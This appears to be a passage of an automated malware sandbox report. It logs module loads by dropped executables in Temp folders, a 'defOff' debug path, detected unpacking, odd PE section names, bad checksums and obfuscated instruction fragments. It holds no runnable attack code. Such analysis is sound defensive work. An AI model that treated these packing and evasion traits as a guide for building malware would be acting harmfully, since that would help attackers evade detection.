Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\compatibility.ini
Source: Window Recorder Window detected: More than 3 window changes detected
Source: file.exe Static file information: File size 2888192 > 1048576
Source: file.exe Static PE information: Raw size of otopmwwu is bigger than: 0x100000 < 0x297a00
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: A77BGJTTW6SX9ESX.exe, 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmp, A77BGJTTW6SX9ESX.exe, 00000006.00000003.2417153642.00000000047C0000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe Unpacked PE file: 3.2.0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wcmebtxw:EW;qmfzzgve:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wcmebtxw:EW;qmfzzgve:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe Unpacked PE file: 4.2.5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.bd0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe Unpacked PE file: 6.2.A77BGJTTW6SX9ESX.exe.990000.0.unpack :EW;.rsrc:W;.idata :W;tkeufwxa:EW;icskcldh:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Unpacked PE file: 9.2.dbec6bb1cf.exe.4a0000.0.unpack :EW;.rsrc :W;.idata :W;otopmwwu:EW;nwnnypis:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;otopmwwu:EW;nwnnypis:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Unpacked PE file: 10.2.de379087e7.exe.740000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Unpacked PE file: 11.2.dbec6bb1cf.exe.4a0000.0.unpack :EW;.rsrc :W;.idata :W;otopmwwu:EW;nwnnypis:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;otopmwwu:EW;nwnnypis:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 12.2.skotes.exe.740000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wcmebtxw:EW;qmfzzgve:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wcmebtxw:EW;qmfzzgve:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Unpacked PE file: 30.2.de379087e7.exe.740000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe Unpacked PE file: 47.2.dbec6bb1cf.exe.4a0000.0.unpack :EW;.rsrc :W;.idata :W;otopmwwu:EW;nwnnypis:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;otopmwwu:EW;nwnnypis:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe Unpacked PE file: 48.2.de379087e7.exe.740000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xfniszhi:EW;punnpugg:EW;.taggant:EW;
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: random[1].exe.5.dr Static PE information: real checksum: 0x2cf840 should be: 0x2cee36
Source: num[1].exe.5.dr Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: num.exe.5.dr Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr Static PE information: real checksum: 0x1cf5f3 should be: 0x1d9012
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr Static PE information: real checksum: 0x1cd111 should be: 0x1c01ff
Source: A77BGJTTW6SX9ESX.exe.0.dr Static PE information: real checksum: 0x2ac336 should be: 0x2a8fe1
Source: file.exe Static PE information: real checksum: 0x2cf840 should be: 0x2cee36
Source: random[1].exe0.5.dr Static PE information: real checksum: 0x1cd111 should be: 0x1c01ff
Source: skotes.exe.3.dr Static PE information: real checksum: 0x1cf5f3 should be: 0x1d9012
Source: dbec6bb1cf.exe.5.dr Static PE information: real checksum: 0x2cf840 should be: 0x2cee36
Source: de379087e7.exe.5.dr Static PE information: real checksum: 0x1cd111 should be: 0x1c01ff
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name: otopmwwu
Source: file.exe Static PE information: section name: nwnnypis
Source: file.exe Static PE information: section name: .taggant
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr Static PE information: section name:
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr Static PE information: section name: .idata
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr Static PE information: section name:
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr Static PE information: section name: wcmebtxw
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr Static PE information: section name: qmfzzgve
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.0.dr Static PE information: section name: .taggant
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr Static PE information: section name:
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr Static PE information: section name: .rsrc
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr Static PE information: section name: .idata
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr Static PE information: section name:
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr Static PE information: section name: xfniszhi
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr Static PE information: section name: punnpugg
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.0.dr Static PE information: section name: .taggant
Source: A77BGJTTW6SX9ESX.exe.0.dr Static PE information: section name:
Source: A77BGJTTW6SX9ESX.exe.0.dr Static PE information: section name: .idata
Source: A77BGJTTW6SX9ESX.exe.0.dr Static PE information: section name: tkeufwxa
Source: A77BGJTTW6SX9ESX.exe.0.dr Static PE information: section name: icskcldh
Source: A77BGJTTW6SX9ESX.exe.0.dr Static PE information: section name: .taggant
Source: skotes.exe.3.dr Static PE information: section name:
Source: skotes.exe.3.dr Static PE information: section name: .idata
Source: skotes.exe.3.dr Static PE information: section name:
Source: skotes.exe.3.dr Static PE information: section name: wcmebtxw
Source: skotes.exe.3.dr Static PE information: section name: qmfzzgve
Source: skotes.exe.3.dr Static PE information: section name: .taggant
Source: random[1].exe.5.dr Static PE information: section name:
Source: random[1].exe.5.dr Static PE information: section name: .rsrc
Source: random[1].exe.5.dr Static PE information: section name: .idata
Source: random[1].exe.5.dr Static PE information: section name: otopmwwu
Source: random[1].exe.5.dr Static PE information: section name: nwnnypis
Source: random[1].exe.5.dr Static PE information: section name: .taggant
Source: dbec6bb1cf.exe.5.dr Static PE information: section name:
Source: dbec6bb1cf.exe.5.dr Static PE information: section name: .rsrc
Source: dbec6bb1cf.exe.5.dr Static PE information: section name: .idata
Source: dbec6bb1cf.exe.5.dr Static PE information: section name: otopmwwu
Source: dbec6bb1cf.exe.5.dr Static PE information: section name: nwnnypis
Source: dbec6bb1cf.exe.5.dr Static PE information: section name: .taggant
Source: random[1].exe0.5.dr Static PE information: section name:
Source: random[1].exe0.5.dr Static PE information: section name: .rsrc
Source: random[1].exe0.5.dr Static PE information: section name: .idata
Source: random[1].exe0.5.dr Static PE information: section name:
Source: random[1].exe0.5.dr Static PE information: section name: xfniszhi
Source: random[1].exe0.5.dr Static PE information: section name: punnpugg
Source: random[1].exe0.5.dr Static PE information: section name: .taggant
Source: de379087e7.exe.5.dr Static PE information: section name:
Source: de379087e7.exe.5.dr Static PE information: section name: .rsrc
Source: de379087e7.exe.5.dr Static PE information: section name: .idata
Source: de379087e7.exe.5.dr Static PE information: section name:
Source: de379087e7.exe.5.dr Static PE information: section name: xfniszhi
Source: de379087e7.exe.5.dr Static PE information: section name: punnpugg
Source: de379087e7.exe.5.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8B2A4 push edi; iretd 0_3_00B8B2CB
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8B2A4 push edi; iretd 0_3_00B8B2CB
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8E601 push ebx; retf 0_3_00B8E602
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8E601 push ebx; retf 0_3_00B8E602
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8D5F8 push ebp; retf 0_3_00B8D5FA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8D5F8 push ebp; retf 0_3_00B8D5FA
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8B26D push eax; iretd 0_3_00B8B2A3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8B26D push eax; iretd 0_3_00B8B2A3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B86962 push ds; retf 0_3_00B86969
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_00B8B2A4 push edi; iretd 0_3_00B8B2CB
